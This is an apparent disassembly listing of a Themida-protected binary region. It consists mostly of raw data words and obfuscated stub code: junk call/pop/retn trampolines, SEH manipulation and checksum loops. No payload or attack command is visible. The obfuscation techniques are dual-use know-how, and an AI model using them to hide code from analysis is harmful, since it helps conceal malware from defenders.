58C35820h, 4244489h, 4244481h, 1Dh, 13C35040h dd 63BF4144h, 0E5A46A3Dh, 0B58B60C6h, 6A819C5h, 8B6DB361h dd 8CCCBFC1h, 858D2F8Fh, 6A83385h, 1A598D89h, 90F906A8h dd 50D88B66h, 0E880Fh, 0E9600000h, 7, 0ECCA480Ch, 612865B9h dd 0DB816690h, 6A1C23h, 0C0D9D29h, 6A06A8h, 9019589h, 858D06A8h dd 6ACA829h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 0FAC35040h, 8B4D7C29h, 0A827FD9Dh, 5C08306h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 80C35141h, 24A8E974h dd 684BD370h, 0D38156CFh, 7DB66C20h, 1B850F5Bh, 60000000h dd 0EE9h, 4EA17E00h, 74BFBC0Bh, 5716BF8Eh, 0F7D54C9h, 81h dd 8B906100h, 0D98B50FBh, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0E78119D9h dd 301611Ch, 6860Fh, 0BD8B0000h, 6A82E25h, 0E381006Ah dd 59652D74h, 56FCBF66h, 0BB66006Ah, 95FF590Bh, 6A82541h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7FC35646h dd 0BB1B1978h, 0E8556E8Fh, 0Bh, 0F1DE1F38h, 4119EE0Dh dd 609F31BAh, 51D18166h, 895B6199h, 0A829F19Dh, 0C18D8906h dd 8D06A80Fh, 0AB8C7F8Dh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0B1ED0C7Dh dd 85CE3219h, 860F52F3h, 0 ; --------------------------------------------------------------------------- pop edi call ecx push 0 push ebx call sub_594182 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594182 proc near ; CODE XREF: Themida_:0059417Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_594182 endp ; --------------------------------------------------------------------------- dw 0A855h ; --------------------------------------------------------------------------- sub byte ptr [ebp+50h], 60h jmp loc_5941A8 ; --------------------------------------------------------------------------- db 0D3h, 0B1h, 7 dd 7367CF9Bh, 2FBD90Fh ; --------------------------------------------------------------------------- loc_5941A8: ; CODE XREF: Themida_:00594198j call sub_5941B2 inc eax push 49h xor bh, ah ; =============== S U B R O U T I N E ======================================= sub_5941B2 proc near ; CODE XREF: Themida_:loc_5941A8p ; FUNCTION CHUNK AT 00594236 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00594EAC SIZE 00000023 BYTES pop edx popa pop ebx cmp dword ptr [ebp+6A8339Dh], 1 jnz loc_594236 push 0 push eax call sub_5941CD and [eax-3Dh], bl sub_5941B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5941CD proc near ; CODE XREF: sub_5941B2+13p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5941CD endp ; --------------------------------------------------------------------------- db 94h, 99h, 29h ; --------------------------------------------------------------------------- pusha mov [ebp+6A815FDh], ebx jmp loc_5941FF ; --------------------------------------------------------------------------- dd 1E131B31h, 603D7150h, 0CAC985FCh, 0A2727453h db 0AEh, 0A9h, 0B9h ; --------------------------------------------------------------------------- loc_5941FF: ; CODE XREF: Themida_:005941E7j popa push 2 xor ebx, 4B659041h nop mov di, 9826h push eax pusha jmp loc_594224 ; --------------------------------------------------------------------------- dec eax xor eax, [ecx] jmp short loc_594249 ; --------------------------------------------------------------------------- db 0E9h, 0BCh, 95h dd 7FE905EFh, 0D36B60E2h ; --------------------------------------------------------------------------- loc_594224: ; CODE XREF: Themida_:0059420Fj mov dx, 0A9F7h popa nop or edi, 75C774C0h call dword ptr [ebp+6A81E1Dh] ; START OF FUNCTION CHUNK FOR sub_5941B2 loc_594236: ; CODE XREF: sub_5941B2+Aj jmp loc_594EAC ; END OF FUNCTION CHUNK FOR sub_5941B2 ; --------------------------------------------------------------------------- db 0E8h align 10h dd 33ED815Dh, 6606ACA8h db 0BBh ; --------------------------------------------------------------------------- loc_594249: ; CODE XREF: Themida_:00594217j cmp eax, 0CE867h ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- mov ch, 0B5h sbb edx, [edi+74h] dec di dec edx sub edx, [esp+ecx] cli sbb bl, 0B1h pop edi lea eax, [ebp+6AB7E2Eh] push 0 push edx call sub_594271 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594271 proc near ; CODE XREF: Themida_:00594269p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_594271 endp ; --------------------------------------------------------------------------- adc ds:0FB609246h, dh or [ebp+6A83315h], esi clc push eax mov bx, 9EEAh mov [esp], eax mov ebx, [ebp+6A833D5h] push large dword ptr fs:0 push 0 push edi call sub_5942AE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5942AE proc near ; CODE XREF: Themida_:005942A6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5942AE endp ; --------------------------------------------------------------------------- add al, 5Fh and cl, [ecx-57F31A4Bh] push es mov large fs:0, esp sub [ebp+6A820B1h], edi jno $+6 inc dword ptr [ebp+6A833F1h] mov bl, cl push 0FFFFFFFFh push 0 push ebp call sub_5942EF and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5942EF proc near ; CODE XREF: Themida_:005942E7p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5942EF endp ; --------------------------------------------------------------------------- das or [edx+48h], ebp add [ebp+6A801D1h], ecx push dword ptr [ebp+6A80D41h] mov edi, [ebp+6A82801h] call dword ptr [ebp+6A82A7Dh] jmp loc_594453 ; --------------------------------------------------------------------------- jmp loc_594339 ; --------------------------------------------------------------------------- db 6Ch, 0A2h, 58h ; --------------------------------------------------------------------------- push ss sub ch, [eax+74h] mov cl, 62h retn ; --------------------------------------------------------------------------- db 5Bh dd 9F890832h, 5BAB71B6h db 1Ah ; --------------------------------------------------------------------------- loc_594339: ; CODE XREF: Themida_:00594320j mov al, 0 call near ptr loc_59434F+4 pop esi cmp al, 51h loc_594343: ; CODE XREF: Themida_:00594358j mov ebp, 50FAFE52h pop ebp mov dh, 27h wait das in eax, 3Fh loc_59434F: ; CODE XREF: Themida_:0059433Bp imul esp, [edi], 8B664354h fistp word ptr [ebx-1Ah] jo short loc_594343 pop es ; --------------------------------------------------------------------------- db 0 dd 0E6440000h, 0D70167CDh, 71E4F958h, 613CF88Bh, 0E1830Fh dd 8B660000h, 0C8B60FDAh, 95B3BB66h, 6BAh, 35B52900h, 8B06A825h dd 0DBD89C1h, 6606A825h, 0E8C1DE8Bh, 0AE804h, 1F830000h dd 76401CB3h, 22838245h, 665FFE8Bh, 8F0FE2F7h, 6, 3409BD8Bh dd 0C82B06A8h, 0D18BA3B7h, 9958B60h, 0B06A80Fh, 0A82621B5h dd 0AE96106h, 31000000h, 0A818018Dh, 7BBF6606h, 0B9858B1Fh dd 0B06A80Ah, 0A815299Dh, 7C08306h, 8E9h, 0F4AC5000h, 41DAC5B4h dd 0C083F5h, 21DBD8Bh, 0D03B06A8h, 0E830Fh, 9D8B0000h dd 6A800CDh, 40E9D98Bh, 0FC000000h, 1A6D8D8Bh, 890F06A8h dd 0 dd 0F01E183h, 2A84h, 0F57F500h, 688h, 8A0F00h, 5B000000h dd 1A6DA583h, 0FFE06A8h, 9589DEBFh, 6A80AB9h, 21618589h dd 0E906A8h db 3 dup(0) ; --------------------------------------------------------------------------- loc_594453: ; CODE XREF: Themida_:0059431Bj lea esi, [ebp+6AC0599h] mov edi, [ebp+6A80E45h] push 0 push 0 push edi call sub_59446C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59446C proc near ; CODE XREF: Themida_:00594464p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_59446C endp ; --------------------------------------------------------------------------- push edx adc eax, 0A9934614h aam 0FFh xchg eax, ebp xor [ebx], ebx test al, 6 mov edi, [ebp+6A80E3Dh] mov ecx, 83Bh mov [ebp+6A81769h], edi and ecx, 0FFFFFFFCh push 0 push edi call sub_5944A8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5944A8 proc near ; CODE XREF: Themida_:005944A0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5944A8 endp ; --------------------------------------------------------------------------- dd 7ACD17Bh, 814BDDACh, 0FB6B65EBh, 0E780FC62h, 0B8DBh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0A30436C3h, 0BA5F57C9h, 0 ; --------------------------------------------------------------------------- cmc loc_5944F5: ; CODE XREF: Themida_:005944FFj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5944F5 mov [ebp+6A80DC9h], edi mov ebx, 1F046232h or eax, 88h mov ebx, 4EC900A2h mov edx, [ebp+6A805B9h] mov edi, [ebp+6A824DDh] mov ecx, [ebp+6A81469h] xor [ebp+6A80161h], ebx push eax mov eax, edx mov ebx, [eax] add eax, ecx mov ebx, [eax] mov eax, ecx shr eax, 1 add eax, edx mov ebx, [eax] pop eax push 0 push edi call sub_59454B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59454B proc near ; CODE XREF: Themida_:00594543p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_59454B endp ; --------------------------------------------------------------------------- db 0ACh dd 0BFDA2375h, 6A685E42h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 2D06C351h, 0DF13CA89h dd 289A9349h, 0C91BD83h, 0F0006A8h, 4C84h, 7E95200h, 0C1000000h dd 1E80E3DEh, 0B85F3327h, 0 ; --------------------------------------------------------------------------- mov [ebp+6A822D9h], esi lea ecx, [ebp+6A84FAFh] push 0 push edi call sub_5945BF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5945BF proc near ; CODE XREF: Themida_:005945B7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5945BF endp ; --------------------------------------------------------------------------- inc ecx db 26h jmp short near ptr loc_594610+2 ; --------------------------------------------------------------------------- db 5Fh dd 0EA1A8AF7h, 8BE1FF0Ah, 0A80BD9BDh, 0BDBD8306h, 6A80Bh dd 3FC840Fh, 0B5290000h, 6A800C1h, 0BBDBD83h, 0F0106A8h dd 40484h, 5DB58900h, 8306A816h, 0A80BBDBDh, 860F0306h ; --------------------------------------------------------------------------- loc_594610: ; CODE XREF: Themida_:005945D0j mov ebx, 60000003h mov di, 0E484h mov cx, ds push 0 push ebx call sub_594627 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594627 proc near ; CODE XREF: Themida_:0059461Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_594627 endp ; --------------------------------------------------------------------------- or al, 38h add eax, 9219D89h test al, 6 and cl, 4 push 0 push edx call sub_59464E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59464E proc near ; CODE XREF: Themida_:00594646p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_59464E endp ; --------------------------------------------------------------------------- inc esi sbb al, 65h sbb eax, 0C90A8880h jz loc_594734 mov edi, [ebp+6A800A9h] mov eax, [ebp+6A80BE1h] push 0 push ebx call sub_594683 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594683 proc near ; CODE XREF: Themida_:0059467Bp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_594683 endp ; --------------------------------------------------------------------------- db 5Dh dd 1D5D8533h, 9D8B06A8h, 6A8174Dh, 52506050h, 310FC78Bh dd 0C28B585Ah, 24048961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0E5C35747h, 6860Fh, 8D310000h, 6A81EC5h dd 8B52006Ah, 0A81E49BDh, 0BE685F06h, 5028E6DDh, 5FF88B66h dd 41243481h, 5628F9DEh, 27698501h, 0FF5B06A8h, 0A8074195h dd 8589FC06h, 6ABA227h, 8E8h, 67209F00h, 0E45AFFFAh, 0EE9ACh dd 56080000h, 4535D941h, 0E796E1CFh, 6B748A71h, 230E95Bh dd 9D8B0000h, 6A80DA1h ; --------------------------------------------------------------------------- loc_594734: ; CODE XREF: Themida_:00594666j mov eax, [ebp+6ABA21Fh] mov edi, [ebp+6A81D51h] mov dword ptr [eax], 18h mov bx, 5DC7h mov esi, [ebp+6ABA223h] mov edi, 32C974B2h mov eax, [ebp+6A82B7Dh] push 0 push ecx call sub_594766 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594766 proc near ; CODE XREF: Themida_:0059475Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_594766 endp ; --------------------------------------------------------------------------- dw 1293h ; --------------------------------------------------------------------------- call sub_594791 retf ; --------------------------------------------------------------------------- dw 8925h dd 2CEA8CB2h, 88E52EA7h, 0CF176445h, 776B3423h db 79h ; =============== S U B R O U T I N E ======================================= sub_594791 proc near ; CODE XREF: Themida_:00594778p mov edi, [ebp+6A82E2Dh] pop edi mov [esi], eax push 0 push edi call sub_5947A5 and [edi-3Dh], bl sub_594791 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5947A5 proc near ; CODE XREF: sub_594791+Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5947A5 endp ; --------------------------------------------------------------------------- neg byte ptr [ecx-6Eh] mov eax, [ebp+6A80BE1h] push 0 push ebx call sub_5947C9 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5947C9 proc near ; CODE XREF: Themida_:005947C1p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5947C9 endp ; --------------------------------------------------------------------------- and eax, 0DD9D8B7Dh adc al, 0A8h push es sub [ebp+6A8199Dh], edx mov [esi+4], eax push 0 push edi call sub_5947F5 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5947F5 proc near ; CODE XREF: Themida_:005947EDp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5947F5 endp ; --------------------------------------------------------------------------- db 88h, 75h, 17h dd 0A0882A36h, 66D88BF8h, 5050D98Bh, 66525052h, 0F8E18BBh dd 0C113BF31h, 585A6B8Ch, 585A310Fh, 6A243489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 7E30C353h, 0E9DBE17Ah, 0Ch, 4BAE749Fh, 0D6B88545h, 0F3874B80h dd 0A21FB5FFh, 6A06ABh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F7705C3h, 68Dh, 890F00h, 68000000h dd 0A90FA01h, 10E8h, 34AC9000h, 352AF542h, 0E9C51D48h dd 3A754D3Fh, 0BDBB66DFh, 34815F45h, 8FF9FE24h, 51006A0Ah dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 9D891554h, 6A832A5h, 0F99D01F8h, 8D06A80Bh, 0ABA22785h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 880F50F7h, 0 ; --------------------------------------------------------------------------- mov [esp], eax push 0 push ecx call sub_594912 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594912 proc near ; CODE XREF: Themida_:0059490Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_594912 endp ; --------------------------------------------------------------------------- dw 0BBB4h dd 7BE9D767h, 1E059589h, 95FF06A8h, 6A80741h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0CDC35040h, 9F6A0612h dd 0A1BD2B61h, 0F06A833h, 0F61FBBFh, 38Eh, 0FFBF0F00h dd 0BBD85C7h, 306A8h, 0BF0F0000h, 19B529F9h, 8306A825h dd 0ABA227BDh, 840F0006h, 47h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 0CFC35141h, 559589ADh, 0E906A831h dd 3Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h dd 0C7C35646h, 501C15EAh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 0D3DB53C3h, 73F2EE04h dd 96D9EA8h, 0A80565B5h, 299D8B06h, 8306A81Fh, 0A80BBDBDh dd 850F0306h, 3DFh, 2E8D9D89h, 0BD8306A8h, 6ABA227h, 0CC840F00h dd 8B000003h, 27B5FFDAh, 0E806ABA2h, 14h, 29A97E51h, 54A47BC1h dd 7E316BAEh, 44386589h, 0A0690E54h, 5FFBBF0Fh, 0BECF8166h dd 0F995FF90h, 6A06A815h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 24C1C353h, 6EECD13Bh dd 8BFE8AF4h, 0ABA21BB5h, 6820F06h, 0F000000h, 82h, 106C700h dd 0B000100h, 0A831759Dh, 840F5006h, 14h, 0FE9h, 7036FD00h dd 58C95355h, 4D7893E7h, 0B590EA08h, 6A243489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0EDDBC353h, 0E301FB96h, 0E78082CDh, 27B5FFE0h, 6A06ABA2h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 9C0CC356h, 0DBB70F9Ah, 219995FFh, 8BF506A8h dd 0ABA21BB5h, 8E906h, 0C7BC0000h, 45F3EF73h, 858BBEBDh dd 6A80E41h, 8689D88Ah, 0C4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 0DEC35747h, 6850F5Dh, 8B000000h dd 0A80E09BDh, 0C59D8B06h, 8B06A80Ah, 0A805B995h, 59BD8906h dd 8B06A834h, 0A80CE19Dh, 4C28306h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 60C35040h, 8490737Ah, 8918E287h dd 0A816F9BDh, 20508906h, 97EC3ABBh, 0CE858D11h, 6A06ABB7h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 630CC351h, 0BD8B3D78h, 6A81011h, 0B88689h dd 0E9600000h, 0Fh, 1268D8DBh, 0E3FEEDD3h, 39752260h, 0B7EA383h dd 0A82B7595h, 6A6106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0FC35747h, 8F7E3FC4h, 5E9006Bh, 0BE000000h dd 328EF141h, 2595BD2Bh, 0B5FF06A8h, 6ABA227h, 3305F1BFh dd 1D95FF75h, 6A06A81Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 7DCDC356h, 817612DDh dd 2DC792E3h, 880F502Fh, 11h, 9E851h, 22870000h, 0EF47EA2h dd 5F4F4DC9h, 2434895Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 96C35040h, 0E78160BFh, 2CA56837h, 61DBC780h dd 0A227B5FFh, 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 9C219EC3h, 78D7A199h, 0F380C201h dd 0FBB70F43h, 2A6995FFh, 8B0F06A8h, 5, 5AE321BFh, 3DBD8307h dd 6A82Eh, 49840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 475E9BC3h, 50DEB396h dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 9412FB49h, 407C46A7h, 0FFF8BF0Fh, 0ABA227B5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 5DC9FE13h, 0ADBCE135h, 0DF816653h, 665B50B6h dd 95FFDE8Bh, 6A83185h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0B2C35343h, 32619D8Bh, 0B5FF06A8h, 6ABA227h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A0C35141h dd 0A571E824h, 95FF25F9h, 6A80F55h, 0BD838DB7h, 6A8077Dh dd 19840F02h, 1000000h, 0A8021DB5h, 19858B06h, 6606A80Dh dd 0C64400BBh, 9D230000h, 6A81D9Dh, 0DC185C7h, 6A8h, 81660000h dd 0E9CC5EF7h, 0FFFFF49Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0DFC35040h, 0AE8h, 0CA02D800h, 8B1336DEh dd 0E934AC90h, 0Ch, 3B6628BDh, 0F6BA74FBh, 44BE2D0Dh, 6AC18B5Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 7ADCC350h, 161DBD8Bh, 958906A8h, 6A80D39h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941B2 loc_594EAC: ; CODE XREF: sub_5941B2:loc_594236j lea eax, [ebp+6A83385h] push ebx pop edi cld nop mov ebx, esi push eax push edx pop ebx nop and edi, 4FA1D678h push 0 push 0 push ebx call sub_594ECF and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5941B2 ; =============== S U B R O U T I N E ======================================= sub_594ECF proc near ; CODE XREF: sub_5941B2+D15p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_594ECF endp ; --------------------------------------------------------------------------- cmpsb mov ds:6AB6DB80h, eax add [edx+0], ch push eax call sub_594EF1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594EF1 proc near ; CODE XREF: Themida_:00594EE9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_594EF1 endp ; --------------------------------------------------------------------------- xlat fcomp qword ptr [esi-740D8087h] mov ebp, 6A806ADh lea eax, [ebp+6ACB696h] and di, 9AB8h add eax, 5 push 0 push ebp call sub_594F26 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_594F26 proc near ; CODE XREF: Themida_:00594F1Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_594F26 endp ; --------------------------------------------------------------------------- dw 7C14h dd 813EA10Eh, 90D88B66h db 2 dup(50h) word_594F42 dw 5052h ; DATA XREF: ___:off_438C78o dd 0FFB8B52h, 14E831h, 0AAD0000h, 3361C469h, 0F4C4B6E8h dd 92EEE48Ch, 97FACF18h, 5A5B1222h, 66310F58h, 585AFB8Bh dd 3880F90h, 0F000000h, 6AFBB7h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 96C35646h, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 7E8AC3C3h, 4195FF2Ch, 6A06A825h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 7E0C355h dd 8A8BBDC0h, 7F8D8DF9h, 6A06AB8Ch, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E605C356h dd 88B34B6Ch, 515EB253h, 0CC9B589h, 0FF5F06A8h, 0CE9D1h dd 61FF0000h, 6429B214h, 0DC8BEFFBh, 0BD833A72h, 6A8339Dh dd 74850F01h, 0F000000h, 387h, 0F98B6600h, 8F0F026Ah, 6 dd 1D59B529h, 8B5006A8h, 240489FBh, 0A59D8960h, 8B06A806h dd 95FF61F0h, 6A81E1Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0B7C35040h, 0D77DCF91h, 9D896024h, 6A822D9h dd 12E8h, 84CFA200h, 295026E4h, 297440AAh, 0C9C318E6h dd 5FCDFCE8h, 6D958961h, 0E906A820h, 0D91h, 0E8h, 0ED815D00h dd 6ACB6A0h, 34BD9D8Bh, 0B50106A8h, 6A82C65h, 890Fh, 858D0000h dd 6AB7E2Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0A4C35545h, 0C3B2F629h, 0E781346Bh, 38DF6B8Ch dd 19870F50h, 0E9000000h, 14h, 529DACC7h, 0BAD1411Eh, 0C62632A1h dd 0AB1533FCh, 0FDA791DFh, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 50E7C357h dd 0FF6430A0h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0E0F38045h, 1DAD9D01h dd 896406A8h, 25h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 8D726135h, 0BE96FA2h dd 32000000h, 35C98645h, 3E859BB5h, 9D89AB1Dh, 6A80B61h dd 1B65BD8Bh, 85FF06A8h, 6A833F1h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 54C35747h, 0BBFFB753h, 6DD035C7h dd 6660FF6Ah, 80FED181h, 6E8h, 0BCCE8B00h, 50847790h, 0FF61595Ah dd 0A8298DB5h, 0DE906h, 3B660000h, 0F6BA74FBh, 44BE2D0Dh dd 662AFE02h, 0FF1705BBh, 0A82A7D95h, 11CE906h, 81660000h dd 0B07A5FF3h, 14BF6600h, 0E470E65Eh, 0F8B70F71h, 830F613Ch dd 102h, 15BDBD89h, 0B60F06A8h, 0AE960C8h, 12000000h, 50B68C3Eh dd 0AC38319h, 10E92Fh, 6F3F0000h, 0E8AF35Eh, 13852E07h dd 6D3FC9C0h, 0BA6157C1h, 6, 2D199D8Bh, 0C18B06A8h, 0AA5BD8Bh dd 0E8C106A8h, 0D88B5704h, 0E2F7665Fh, 10D1B589h, 0C82B06A8h dd 6860Fh, 0BD290000h, 6A80C45h, 8D89D18Bh, 6A80049h, 95E9h dd 0C1BD8900h, 8B06A806h, 885h, 0DBBF0F00h, 6007C083h dd 0FB8BF18Bh, 83FA8A61h, 8B6000C0h, 0A820EDBDh, 5F576006h dd 2261BD2Bh, 616106A8h, 830FD03Bh, 1Dh, 59E9h, 0FE800h dd 0A2640000h, 0A6A2FAE0h, 7B07D1A4h, 332C16B2h, 8B665BC5h dd 0FF8D8BD8h, 52FFFFFFh, 0ED9D8960h, 6106A820h, 819D8B5Fh dd 8306A815h, 840F01E1h, 22h, 0FFA583FCh, 0FEFFFFFFh, 89589h dd 0AE90000h, 8C000000h, 3124C717h, 4AC833C1h, 0E95Eh dd 0B58D0000h, 6AC3224h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 43C35141h, 81512032h, 67EE1DE3h, 6A5B7Bh dd 11E8h, 0E4403A00h, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh dd 840F6186h, 6, 22859D8Bh, 0FF5B06A8h, 0A81B3195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0BAC7CDC6h, 8D62A347h, 8A0FC612h, 0Ah, 850F60h, 53000000h dd 0EAB9615Eh, 8100000Fh, 0E13430F3h, 0FCE1830Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5CC35646h, 5809CDC8h dd 0C004DD27h, 10E9F890h, 95000000h, 52C38BD4h, 2D03C2F4h dd 0B14E6724h, 0BB22B134h, 71161692h, 55006AFCh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0B02CED69h, 0C02B01D2h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 5C35141h, 599589C7h, 0BA06A820h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_59545B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59545B proc near ; CODE XREF: Themida_:00595453p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_59545B endp ; --------------------------------------------------------------------------- adc [ebp-32F45A65h], dl mov [ebp+6A83389h], edi loc_595477: ; CODE XREF: Themida_:00595481j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_595477 add edi, 300BC9C3h push 0 push ebp call sub_595494 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_595494 proc near ; CODE XREF: Themida_:0059548Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_595494 endp ; --------------------------------------------------------------------------- dd 0A54284ADh, 53946ECCh, 8D89101Eh, 